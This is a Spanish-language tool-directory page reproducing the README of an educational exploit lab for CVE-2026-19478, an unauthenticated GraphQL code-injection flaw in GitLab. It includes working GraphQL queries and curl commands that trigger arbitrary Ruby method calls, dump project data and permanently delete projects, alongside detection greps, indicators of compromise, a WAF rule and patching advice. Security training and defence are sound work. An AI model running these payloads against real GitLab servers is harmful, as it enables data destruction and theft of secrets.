Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Gitlab-CVE-2026-19478 — Laboratorio de exploit dockerizado y script para CVE-2026-19478, una inyección de código GraphQL crítica no autenticada en GitLab que permite llamadas arbitrarias a métodos Ruby, eliminación de proyectos y exfiltración de datos. | Kitploit
Herramientas/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

Laboratorio de exploit dockerizado y script para CVE-2026-19478, una inyección de código GraphQL crítica no autenticada en GitLab que permite llamadas arbitrarias a métodos Ruby, eliminación de proyectos y exfiltración de datos.

Ver Repositorio
hace 2 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-19478 — Inyección de directiva @gl_introduced en GraphQL de GitLab

Inyección remota de código sin autenticación mediante directiva GraphQL en GitLab CE/EE — Eliminar cualquier proyecto público con una sola petición HTTP

Un laboratorio práctico de pruebas de penetración que reproduce CVE-2026-19478, una vulnerabilidad crítica (CVSS 9.4) en la API GraphQL de GitLab. La directiva @gl_introduced permite a atacantes no autenticados ejecutar métodos Ruby arbitrarios sobre objetos del lado del servidor — incluyendo la eliminación de proyectos, la exfiltración de datos y la transferencia de propiedad — sin necesidad de autenticación.

Este laboratorio ejecuta una instancia real y vulnerable de GitLab CE 19.2.0 en Docker para practicar la explotación de forma realista.

Tabla de contenido

  • Resumen de la vulnerabilidad
  • Cómo funciona el exploit
  • Diagrama de flujo del ataque
  • Configuración del laboratorio
  • Guía de explotación
  • Uso del script de exploit
  • Detección e indicadores de compromiso
  • Remediación
  • Referencias
  • Aviso legal
  • Conéctate con nosotros

Resumen de la vulnerabilidad

Descargar herramienta
CampoValor
ID de CVECVE-2026-19478
Puntuación CVSS9.4 (Crítico)
ProductoGitLab Community Edition (CE) / Enterprise Edition (EE)
Tipo de vulnerabilidadInyección de código / Ejecución arbitraria de métodos (CWE-94)
Vector de ataqueRed (Remoto)
AutenticaciónNo requiere autenticación
Interacción del usuarioNinguna
Complejidad del ataqueBaja
Versiones afectadas18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Versiones parcheadas18.11.11, 19.0.8, 19.1.6, 19.2.4
Descubierto porhiimguardian (vía HackerOne)
Fecha del parche17 de agosto de 2026

Impacto

Un atacante remoto no autenticado puede:

  • Eliminar permanentemente cualquier proyecto público
  • Exfiltrar datos internos, tokens de administrador y secretos
  • Modificar la visibilidad, la propiedad y los ajustes del proyecto
  • Ejecutar métodos Ruby arbitrarios en el modelo Project del servidor
  • Archivar o transferir proyectos sin autorización

Cómo funciona el exploit

La directiva @gl_introduced

GitLab utiliza una directiva GraphQL personalizada @gl_introduced(version: "X.Y") para soportar despliegues continuos. Cuando una versión más reciente de GitLab añade un campo a la API GraphQL, las instancias más antiguas gestionan las consultas que hacen referencia a esos campos nuevos de forma elegante, devolviendo null en lugar de un error.

La ruta de código vulnerable

Archivo: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Líneas 14-36)

Desglose paso a paso:

  1. FutureFieldFilter escanea las consultas GraphQL entrantes. Cuando un campo tiene @gl_introduced(version) con una versión más reciente que la del servidor actual, elimina el campo y establece context[:contain_future_fields] = true.

  2. IntroducedTracer restaura el documento de consulta original en el momento de la ejecución, volviendo a colocar los campos eliminados en el AST.

  3. FutureFieldFallback#get_field intercepta todas las búsquedas de campos durante la ejecución. Comprueba tres condiciones:

    • ¿Está establecido el indicador contain_future_fields? ✅
    • ¿Está el campo ausente del esquema? ✅
    • ¿El nombre NO comienza por __? ✅
    • ¿Es seguro el nombre del campo? ❌ ¡No existe ninguna comprobación!
  4. Cuando las tres comprobaciones se cumplen, sintetiza un nuevo GraphQL::Schema::Field sin clase de resolver.

  5. En graphql-ruby, un campo sin resolver se resuelve llamando a object.public_send(field_name) sobre el objeto Ruby subyacente, convirtiendo el nombre de campo del atacante en una llamada a un método arbitrario en el modelo Project de ActiveRecord.

El parche (19.2.4+)

El parche de GitLab reemplaza el envío implícito de métodos por un NilResolver explícito que devuelve nil incondicionalmente, preservando la compatibilidad con los despliegues continuos y eliminando la ejecución arbitraria de métodos:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Diagrama de flujo del ataque

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Configuración del laboratorio

Requisitos previos

  • Docker y Docker Compose instalados
  • Mínimo 4 GB de RAM disponibles para Docker (GitLab consume muchos recursos)
  • Python 3 (para el script de exploit)
  • Navegador web o curl / httpie para probar la API

Inicio rápido — GitLab CE 19.2.0 real (vulnerable)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Puntos de acceso

ServicioURLCredenciales
Interfaz web de GitLabhttp://localhostroot / P@ssw0rd123!
API GraphQLhttp://localhost/api/graphqlNinguna requerida
Explorador GraphQLhttp://localhost/-/graphql-explorerRequiere inicio de sesión
SSHlocalhost:2222—

Alternativa ligera (simulada)

Para máquinas con recursos limitados o para un inicio más rápido:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

Detener / Reinicio completo

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

Guía de explotación

Nivel 1 — Reconocimiento (sin autenticación)

Verifica la versión del servidor:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

Enumera los proyectos públicos mediante GraphQL (sin autenticación):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

Descubre la directiva @gl_introduced mediante la introspección del esquema:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

Nivel 2 — Activar la vulnerabilidad

Usa @gl_introduced con una versión futura en un campo que no existe en el esquema:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

Si es vulnerable, class devuelve el nombre de la clase Ruby ("Project"), lo que confirma el envío arbitrario de métodos.

Nivel 3 — Exfiltración de datos

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

Nivel 4 — Explotación destructiva

ADVERTENCIA: Lo siguiente eliminará permanentemente el proyecto.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

Otros métodos explotables en el modelo Project de GitLab:

MétodoImpacto
destroyElimina permanentemente el proyecto
archiveArchiva el proyecto
transferTransfiere la propiedad del proyecto
attributesVuelca todos los atributos de la base de datos
repositoryAccede al objeto del repositorio
membersLista los miembros del proyecto

Ejemplos con curl

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

Detección e indicadores de compromiso

Análisis de registros

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

Indicadores de compromiso (IOC)

IndicadorDescripción
@gl_introduced(version: "99.0")Intento de explotación con una versión irrealmente alta
Nombres de campo: destroy, delete, update, transferApuntan a métodos destructivos de ActiveRecord
Eliminaciones inesperadas de proyectosProyectos que desaparecen sin acción de un administrador
Cambios de visibilidadProyectos públicos que de repente se vuelven privados
Transferencias de propiedadProyectos transferidos a usuarios desconocidos

Reglas WAF

Bloquea las peticiones GraphQL que contengan @gl_introduced con números de versión altos:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

Remediación

  1. Aplica el parche de inmediato — Actualiza a GitLab 18.11.11+, 19.0.8+, 19.1.6+ o 19.2.4+
  2. Mitigación con WAF — Bloquea las peticiones GraphQL que contengan @gl_introduced con cadenas de versión altas a nivel de proxy inverso/WAF
  3. Registros de auditoría — Revisa los registros de actividad del proyecto para detectar modificaciones, eliminaciones o cambios de visibilidad no autorizados
  4. Registros de acceso — Busca en los registros del servidor web patrones de explotación (consulta la sección Detección más arriba)
  5. Respuesta a incidentes — Si se confirma la explotación, verifica si hubo exfiltración de datos y restaura los proyectos eliminados a partir de las copias de seguridad


Créditos del PoC

CVE-2026-19478

Referencias

  • Aviso de seguridad de GitLab — 17 de agosto de 2026
  • OWASP A03:2021 — Inyección
  • CWE-94: Control inadecuado de la generación de código (Inyección de código)
  • OX Security: Análisis de los CVE de GraphQL de GitLab
  • Help Net Security: Fallo crítico en GitLab
  • CyCognito: Aviso de amenaza emergente
  • The Hacker News: Fallo crítico en GraphQL de GitLab

Aviso legal

Este laboratorio está creado exclusivamente para la educación en seguridad autorizada y la formación en pruebas de penetración. Solo debe utilizarse en entornos controlados y aislados que sean de tu propiedad o para los que dispongas de autorización escrita explícita para realizar pruebas.

No utilices las técnicas, herramientas o el código de exploit de este laboratorio contra ningún sistema sin la autorización adecuada. El acceso no autorizado a sistemas informáticos es ilegal según la Computer Fraud and Abuse Act (CFAA) y las leyes equivalentes en todo el mundo.

Los autores y colaboradores no se hacen responsables de ningún uso indebido o daño causado por este laboratorio o su contenido.


Conéctate con nosotros

Follow on Instagram   Connect on LinkedIn

Sigue a @pwnsystem en Instagram para obtener consejos diarios de ciberseguridad, análisis de CVE y guías de explotación.
Conecta con Punit Darji en LinkedIn para obtener información profesional sobre seguridad y novedades del laboratorio.